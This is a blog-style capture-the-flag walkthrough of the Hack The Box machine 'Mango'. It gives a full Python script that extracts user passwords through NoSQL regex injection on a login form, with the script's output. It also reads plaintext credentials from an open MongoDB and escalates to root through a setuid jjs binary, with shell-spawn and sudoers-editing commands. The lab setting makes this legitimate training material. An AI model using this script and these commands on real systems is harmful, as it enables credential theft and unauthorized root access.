HTB: Mango

Details

This machine is Mango from Hack The Box

Recon

Start with a service discovery scan

root@kali:~# nmap -sV -p- 10.10.10.162
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-01 04:59 EDT
Nmap scan report for 10.10.10.162
Host is up (0.037s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.67 seconds

User

Started on port 80 http://10.10.10.162/

Screenshot 1

Then port 443

Screenshot 2

Weirdly I am signed in to this app, the analytics link worked

Screenshot 3

So I dug into it a bit but didn't find much, but the cert leaked a VHOST of staging-order.mango.htb

Screenshot 4

So I went to it

Screenshot 5

Lots of testing on this page led me to attempt NoSQL injection, eventually finding a way of causing a 302

Screenshot 6

So 302 indicated a positive hit, I wrote a python script to test potential characters of user passwords, and see if I can build the password backup using a regex

import requests
import string

chars = string.ascii_letters + string.digits + "!@#%()_"

USERNAMES = ["admin", "mango"]

def main():

  print("[*] Possible chars {}\n\n".format(chars))

  results = []

  for user in USERNAMES:

    password = ""    

    print("[*] Checking for {}".format(user))
    while True:

      new_char, password = find_next_char_pass(password, user)

      if not new_char:
        break

    if len(password) > 0:
      print("[!] Password found: {}\n\n".format(password))
      results.append("{}:{}".format(user, password))
    else:
      print("[-] No password found, user likely does not exist\n\n")

  for result in results:
    print("[!] Creds {}".format(result))

def find_next_char_pass(current, username):

  for c in chars:
    attempt = current + c
    payload = "^" + attempt + ".*$"
    data = {"username": username, "password[$regex]": payload, "login": "login"}
    r = requests.post("http://staging-order.mango.htb/index.php", allow_redirects=False, data=data)

    if r.status_code == 302:
      print("\t[+] Found new char {}, current payload {}".format(c, attempt))

      return True,attempt

  return False,current

if __name__ == "__main__":
  main()

I ran my script

root@kali:~# python3 extract.py 
[*] Possible chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#%()_

[*] Checking for admin
  [+] Found new char t, current payload t
  [+] Found new char 9, current payload t9
  [+] Found new char K, current payload t9K
  [+] Found new char c, current payload t9Kc
  [+] Found new char S, current payload t9KcS
  [+] Found new char 3, current payload t9KcS3
[!] Password found: t9KcS3

[*] Checking for mango
  [+] Found new char h, current payload h
  [+] Found new char 3, current payload h3
  [+] Found new char m, current payload h3m
  [+] Found new char X, current payload h3mX
  [+] Found new char K, current payload h3mXK
  [+] Found new char 8, current payload h3mXK8
  [+] Found new char R, current payload h3mXK8R
  [+] Found new char h, current payload h3mXK8Rh
  [+] Found new char U, current payload h3mXK8RhU
[!] Password found: h3mXK8RhU

[!] Creds admin:t9KcS3
[!] Creds mango:h3mXK8RhU

I tried these against the site, but no luck, so I tried them with the regex in burp

Screenshot 7

And got redirected to http://staging-order.mango.htb/home.php

Screenshot 8

So I was probably on the right track, but hadn't pulled the full password, so I added more characters to the list of potentials

import requests
import string

chars = string.ascii_letters + string.digits + "!@#%()_~,£-=&\"\'[]{}"

USERNAMES = ["admin", "mango"]

def main():

  print("[*] Possible chars {}\n\n".format(chars))

  results = []

  for user in USERNAMES:

    password = ""    

    print("[*] Checking for {}".format(user))
    while True:

      new_char, password = find_next_char_pass(password, user)

      if not new_char:
        break

    if len(password) > 0:
      print("[!] Password found: {}\n\n".format(password))
      results.append("{}:{}".format(user, password))
    else:
      print("[-] No password found, user likely does not exist\n\n")

  for result in results:
    print("[!] Creds {}".format(result))

def find_next_char_pass(current, username):

  for c in chars:
    attempt = current + c
    payload = "^" + attempt + ".*$"
    data = {"username": username, "password[$regex]": payload, "login": "login"}
    r = requests.post("http://staging-order.mango.htb/index.php", allow_redirects=False, data=data)

    if r.status_code == 302:
      print("\t[+] Found new char {}, current payload {}".format(c, attempt))

      return True,attempt

  return False,current

if __name__ == "__main__":
  main()

Ran this

root@kali:~# python3 extract.py
[*] Possible chars abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#%()_~,£-=&"'[]{}

[*] Checking for admin
  [+] Found new char t, current payload t
  [+] Found new char 9, current payload t9
  [+] Found new char K, current payload t9K
  [+] Found new char c, current payload t9Kc
  [+] Found new char S, current payload t9KcS
  [+] Found new char 3, current payload t9KcS3
[!] Password found: t9KcS3

[*] Checking for mango
  [+] Found new char h, current payload h
  [+] Found new char 3, current payload h3
  [+] Found new char m, current payload h3m
  [+] Found new char X, current payload h3mX
  [+] Found new char K, current payload h3mXK
  [+] Found new char 8, current payload h3mXK8
  [+] Found new char R, current payload h3mXK8R
  [+] Found new char h, current payload h3mXK8Rh
  [+] Found new char U, current payload h3mXK8RhU
  [+] Found new char ~, current payload h3mXK8RhU~
  [+] Found new char f, current payload h3mXK8RhU~f
  [+] Found new char {, current payload h3mXK8RhU~f{
  [+] Found new char ], current payload h3mXK8RhU~f{]
  [+] Found new char f, current payload h3mXK8RhU~f{]f
  [+] Found new char 5, current payload h3mXK8RhU~f{]f5
  [+] Found new char H, current payload h3mXK8RhU~f{]f5H
[!] Password found: h3mXK8RhU~f{]f5H

[!] Creds admin:t9KcS3
[!] Creds mango:h3mXK8RhU~f{]f5H

So I tried the mango creds on ssh

root@kali:~# ssh mango@10.10.10.162
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Nov  1 14:26:07 UTC 2019

  System load:  0.06               Processes:            103
  Usage of /:   26.0% of 19.56GB   Users logged in:      0
  Memory usage: 18%                IP address for ens33: 10.10.10.162
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Nov  1 13:07:25 2019 from 10.10.14.23
mango@mango:~$

And took a look round

mango@mango:~$ ls -la 
total 28
drwxr-xr-x 4 mango mango 4096 Sep 28 15:27 .
drwxr-xr-x 4 root  root  4096 Sep 27 14:02 ..
lrwxrwxrwx 1 mango mango    9 Sep 27 14:31 .bash_history -> /dev/null
-rw-r--r-- 1 mango mango  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 mango mango 3771 Apr  4  2018 .bashrc
drwx------ 2 mango mango 4096 Sep 28 15:27 .cache
drwx------ 3 mango mango 4096 Sep 28 15:27 .gnupg
-rw-r--r-- 1 mango mango  807 Apr  4  2018 .profile

mango@mango:~$ cd ..
mango@mango:/home$ ls -la
total 16
drwxr-xr-x  4 root  root  4096 Sep 27 14:02 .
drwxr-xr-x 23 root  root  4096 Sep 27 13:51 ..
drwxr-xr-x  2 admin admin 4096 Nov  1 13:48 admin
drwxr-xr-x  4 mango mango 4096 Sep 28 15:27 mango

mango@mango:/home$ cd admin
mango@mango:/home/admin$ ls -la
total 28
drwxr-xr-x 2 admin admin 4096 Nov  1 13:48 .
drwxr-xr-x 4 root  root  4096 Sep 27 14:02 ..
lrwxrwxrwx 1 admin admin    9 Sep 27 14:30 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr  4  2018 .bashrc
-rw-rw-r-- 1 root  admin  434 Nov  1 13:48 .jjs.history
-rw-r--r-- 1 admin admin  807 Apr  4  2018 .profile
-r-------- 1 admin admin   33 Sep 27 14:29 user.txt

Admin's creds didn't work, so I was probably still missing some characters, but rather than try and work them out I'll see if I can just look in the db

mango@mango:/home/admin$ mongo
MongoDB shell version v4.0.12
connecting to: mongodb://127.0.0.1:27017/?gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("f7ea88ab-027f-4e42-994c-628d3097f8b0") }
MongoDB server version: 4.0.12
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
  http://docs.mongodb.org/
Questions? Try the support group
  http://groups.google.com/group/mongodb-user
Server has startup warnings: 
2019-11-01T13:01:15.088+0000 I STORAGE  [initandlisten] 
2019-11-01T13:01:15.088+0000 I STORAGE  [initandlisten] ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
2019-11-01T13:01:15.088+0000 I STORAGE  [initandlisten] **          See http://dochub.mongodb.org/core/prodnotes-filesystem
2019-11-01T13:01:24.053+0000 I CONTROL  [initandlisten] 
2019-11-01T13:01:24.053+0000 I CONTROL  [initandlisten] ** WARNING: Access control is not enabled for the database.
2019-11-01T13:01:24.053+0000 I CONTROL  [initandlisten] **          Read and write access to data and configuration is unrestricted.
2019-11-01T13:01:24.053+0000 I CONTROL  [initandlisten] 
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).

The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.

To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---

>

> show dbs
admin   0.000GB
config  0.000GB
local   0.000GB
mango   0.000GB

> use mango
switched to db mango

> db.users.find()
{ "_id" : ObjectId("5d8e25334f3bf1432628927b"), "username" : "admin", "password" : "t9KcS3>!0B#2" }
{ "_id" : ObjectId("5d8e25364f3bf1432628927c"), "username" : "mango", "password" : "h3mXK8RhU~f{]f5H" }

And that got me admin's full password, so I su over to that user

mango@mango:~$ su admin
Password: 
$

$ id 
uid=4000000000(admin) gid=1001(admin) groups=1001(admin)

$ /bin/bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/admin$ 

And can get my flag

admin@mango:/home/admin$ ls -la
total 28
drwxr-xr-x 2 admin admin 4096 Nov  1 13:48 .
drwxr-xr-x 4 root  root  4096 Sep 27 14:02 ..
lrwxrwxrwx 1 admin admin    9 Sep 27 14:30 .bash_history -> /dev/null
-rw-r--r-- 1 admin admin  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 admin admin 3771 Apr  4  2018 .bashrc
-rw-rw-r-- 1 root  admin  434 Nov  1 13:48 .jjs.history
-rw-r--r-- 1 admin admin  807 Apr  4  2018 .profile

admin@mango:/home/admin$ cat user.txt
[REDACTED]

Root

So I took a look at that .jjs.history file

admin@mango:/home/admin$ cat .jjs.history 
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"))
br
filereader
Filereader
BufferedReader
var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("file_to_read"));
while ((line = br.readLine()) != null) { print(line); }

It is trying to read the root flag

admin@mango:/home/admin$ find / -perm -u=s 2>/dev/null
[SNIP]
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
[SNIP]

So jjs is setuid, I found it on gtfobins https://gtfobins.github.io/gtfobins/jjs/ and tried an exploit

admin@mango:/home/admin$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs
#

A shell popped, but it wasn't functional, so I tried manual work with it

admin@mango:/home/admin$ jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs>

jjs> var runner = Java.type('java.lang.Runtime').getRuntime();
jjs> runner.exec('touch /tmp/test').waitFor();
0

mango@mango:/tmp$ ls -la
total 44
[SNIP]
-rw-rw-r--  1 root    admin      0 Nov  1 15:27 test
[SNIP]

So I had root code exec, but no shells would pop nicely, so I went for a different approach

jjs> runner.exec('chmod 777 /etc/sudoers').waitFor();

Making sudoers writable, then I opened it in vim and added

admin   ALL=(ALL:ALL) ALL

Then set it back to 400

jjs> runner.exec('chmod 440 /etc/sudoers').waitFor();

And then I can become root

admin@mango:/tmp$ sudo su
[sudo] password for admin: 
root@mango:/tmp#

And get my flag

root@mango:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

root@mango:/tmp# cd /root
root@mango:~# ls -la
total 40
drwx------  6 root root 4096 Oct 10 08:32 .
drwxr-xr-x 23 root root 4096 Sep 27 13:51 ..
lrwxrwxrwx  1 root root    9 Sep 27 14:31 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Sep 30 03:16 .cache
drwx------  3 root root 4096 Sep 30 03:16 .gnupg
drwxr-xr-x  3 root root 4096 Sep 30 03:16 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   33 Sep 27 14:32 root.txt
drwx------  2 root root 4096 Sep 27 13:53 .ssh
-rw-------  1 root root 3895 Oct 10 08:32 .viminfo

root@mango:~# cat root.txt
[REDACTED]

Leave a Reply

Your email address will not be published. Required fields are marked *